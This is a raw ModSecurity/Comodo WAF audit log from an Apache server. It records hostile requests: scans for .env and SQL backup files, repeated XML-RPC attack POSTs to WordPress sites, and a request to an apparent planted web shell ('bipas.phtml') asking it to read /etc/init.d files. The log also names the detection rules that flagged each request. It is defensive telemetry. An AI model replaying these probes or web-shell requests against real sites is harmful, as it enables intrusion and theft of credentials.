Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e1a69e7c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5a4ae19071f7c422ab7edd8439912b4b1750023878; expires=Sun, 15 Jun 2025 22:44:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e1a69e7c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.development"] [unique_id "aE8-xhAGYpjnkyifC9Yg6gAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023878172491 655771 (- - -) Stopwatch2: 1750023878172491 655771; combined=1886, p1=401, p2=1393, p3=0, p4=0, p5=92, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e1a69e7c-Z-- --a9ed6357-A-- [16/Jun/2025:03:14:51.939910 +0530] aE8-032GhYywD7zZgx768AAAAAM 50.17.193.48 59542 127.0.0.1 7081 --a9ed6357-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//etc/init.d&viewfile=//etc/init.d/cron HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 50.17.193.48 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --a9ed6357-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 4244 Connection: close Content-Type: text/html; charset=UTF-8 --a9ed6357-H-- Message: Warning. Matched phrase "etc/init.d" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:path: /etc/init.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Message: Warning. Matched phrase "etc/init.d" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:viewfile: /etc/init.d/cron"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/init.d" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:path: /etc/init.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE8-032GhYywD7zZgx768AAAAAM"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/init.d" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:viewfile: /etc/init.d/cron"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE8-032GhYywD7zZgx768AAAAAM"] Apache-Handler: application/x-httpd-php Stopwatch: 1750023891934683 5278 (- - -) Stopwatch2: 1750023891934683 5278; combined=3041, p1=437, p2=2406, p3=56, p4=47, p5=95, sr=108, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a9ed6357-Z-- --cd6ed075-A-- [16/Jun/2025:03:14:55.991003 +0530] aE8-132GhYywD7zZgx768gAAAAM 128.199.112.101 59690 127.0.0.1 7081 --cd6ed075-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --cd6ed075-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --cd6ed075-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8-132GhYywD7zZgx768gAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023895020333 970727 (- - -) Stopwatch2: 1750023895020333 970727; combined=2395, p1=397, p2=1547, p3=45, p4=66, p5=208, sr=118, sw=132, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cd6ed075-Z-- --df77e770-A-- [16/Jun/2025:03:14:57.761083 +0530] aE8-2dkGqt_oHz6gRVdJyQAAAAw 185.177.72.210 59776 127.0.0.1 7081 --df77e770-B-- GET /:8181/sites/all/libraries/courrierchimp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --df77e770-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=248b89e56f4beb4be2df3256ebd348b11750023897; expires=Sun, 15 Jun 2025 22:44:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --df77e770-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/sites/all/libraries/courrierchimp/.env"] [unique_id "aE8-2dkGqt_oHz6gRVdJyQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023897107200 653954 (- - -) Stopwatch2: 1750023897107200 653954; combined=1936, p1=402, p2=1434, p3=0, p4=0, p5=99, sr=107, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --df77e770-Z-- --df0cf37a-A-- [16/Jun/2025:03:14:59.711724 +0530] aE8-20NwpNEMJppxC49SlgAAAAI 185.177.72.210 59874 127.0.0.1 7081 --df0cf37a-B-- GET /:8880/wp-admin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --df0cf37a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3c9e9fd4f809d65a5ec4b99e8a6c35cc1750023899; expires=Sun, 15 Jun 2025 22:44:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --df0cf37a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/wp-admin/.env"] [unique_id "aE8-20NwpNEMJppxC49SlgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023899078479 633314 (- - -) Stopwatch2: 1750023899078479 633314; combined=1958, p1=466, p2=1375, p3=0, p4=0, p5=116, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --df0cf37a-Z-- --f1d8861d-A-- [16/Jun/2025:03:15:00.682068 +0530] aE8-3BAGYpjnkyifC9Yg9AAAAAU 185.177.72.210 56484 127.0.0.1 7081 --f1d8861d-B-- GET /mail/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f1d8861d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ed061c005ba8e97640df6bdc226fd0361750023900; expires=Sun, 15 Jun 2025 22:45:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f1d8861d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/mail/.env"] [unique_id "aE8-3BAGYpjnkyifC9Yg9AAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023900043684 638446 (- - -) Stopwatch2: 1750023900043684 638446; combined=1648, p1=352, p2=1191, p3=0, p4=0, p5=104, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f1d8861d-Z-- --38a28d07-A-- [16/Jun/2025:03:15:01.702857 +0530] aE8-3R-kH31pk4mNbsU_0wAAAAo 185.177.72.210 56554 127.0.0.1 7081 --38a28d07-B-- GET /:8000/wp-admin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --38a28d07-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fbad9ae514442df522876d8aa831b0d81750023901; expires=Sun, 15 Jun 2025 22:45:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --38a28d07-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/wp-admin/.env"] [unique_id "aE8-3R-kH31pk4mNbsU_0wAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023901013935 689003 (- - -) Stopwatch2: 1750023901013935 689003; combined=2016, p1=367, p2=1513, p3=0, p4=0, p5=136, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --38a28d07-Z-- --9c52a674-A-- [16/Jun/2025:03:15:56.557706 +0530] aE8_ExAGYpjnkyifC9YhEAAAAAU 128.199.112.101 35474 127.0.0.1 7081 --9c52a674-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --9c52a674-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --9c52a674-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8_ExAGYpjnkyifC9YhEAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023955589602 968161 (- - -) Stopwatch2: 1750023955589602 968161; combined=2107, p1=359, p2=1322, p3=46, p4=71, p5=189, sr=98, sw=120, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9c52a674-Z-- --0b82db68-A-- [16/Jun/2025:03:16:22.901916 +0530] aE8_Lol8S04UZ4l67-nfSQAAAAk 185.177.72.210 58414 127.0.0.1 7081 --0b82db68-B-- GET /nginx-server/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0b82db68-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=444ac32f9622a3dee1429cec4404364f1750023982; expires=Sun, 15 Jun 2025 22:46:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0b82db68-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/nginx-server/.env"] [unique_id "aE8_Lol8S04UZ4l67-nfSQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023982217140 684870 (- - -) Stopwatch2: 1750023982217140 684870; combined=1832, p1=528, p2=1178, p3=0, p4=0, p5=125, sr=138, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0b82db68-Z-- --79569754-A-- [16/Jun/2025:03:16:28.885111 +0530] aE8_NIrLgrklqy57Kk2dJQAAAAg 185.177.72.210 58706 127.0.0.1 7081 --79569754-B-- GET /2018.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --79569754-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=452da120e3879f75f2c5aeb5608685111750023988; expires=Sun, 15 Jun 2025 22:46:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --79569754-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/2018.sql"] [unique_id "aE8_NIrLgrklqy57Kk2dJQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023988222270 662915 (- - -) Stopwatch2: 1750023988222270 662915; combined=1671, p1=308, p2=1261, p3=0, p4=0, p5=102, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --79569754-Z-- --ea8cbc15-A-- [16/Jun/2025:03:16:32.830827 +0530] aE8_OFR6EeXjkGzEkbll1QAAAAs 185.177.72.210 40882 127.0.0.1 7081 --ea8cbc15-B-- GET /api/src/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ea8cbc15-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f2412ca5ea55f4232720a533ea1da5251750023992; expires=Sun, 15 Jun 2025 22:46:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ea8cbc15-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/api/src/.env"] [unique_id "aE8_OFR6EeXjkGzEkbll1QAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023992177461 653430 (- - -) Stopwatch2: 1750023992177461 653430; combined=1837, p1=392, p2=1356, p3=0, p4=0, p5=88, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ea8cbc15-Z-- --5d699461-A-- [16/Jun/2025:03:16:43.563840 +0530] aE8_QlR6EeXjkGzEkbll3AAAAAs 185.177.72.210 51478 127.0.0.1 7081 --5d699461-B-- GET /tmp/.env.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5d699461-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2ce4ed037d9361ada5a0f4fe7528458c1750024003; expires=Sun, 15 Jun 2025 22:46:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5d699461-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/tmp/.env.bak"] [unique_id "aE8_QlR6EeXjkGzEkbll3AAAAAs"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/tmp/.env.bak"] [unique_id "aE8_QlR6EeXjkGzEkbll3AAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024002915653 648250 (- - -) Stopwatch2: 1750024002915653 648250; combined=1967, p1=386, p2=1455, p3=0, p4=0, p5=126, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5d699461-Z-- --a3842d78-A-- [16/Jun/2025:03:16:45.551978 +0530] aE8_RBAGYpjnkyifC9YhLAAAAAU 185.177.72.210 51560 127.0.0.1 7081 --a3842d78-B-- GET /:8443/konfig/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a3842d78-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c43a38e32f4f31701dc3989beecafc4d1750024005; expires=Sun, 15 Jun 2025 22:46:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a3842d78-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/konfig/.env"] [unique_id "aE8_RBAGYpjnkyifC9YhLAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024004887852 664190 (- - -) Stopwatch2: 1750024004887852 664190; combined=1756, p1=405, p2=1251, p3=0, p4=0, p5=99, sr=98, sw=1, 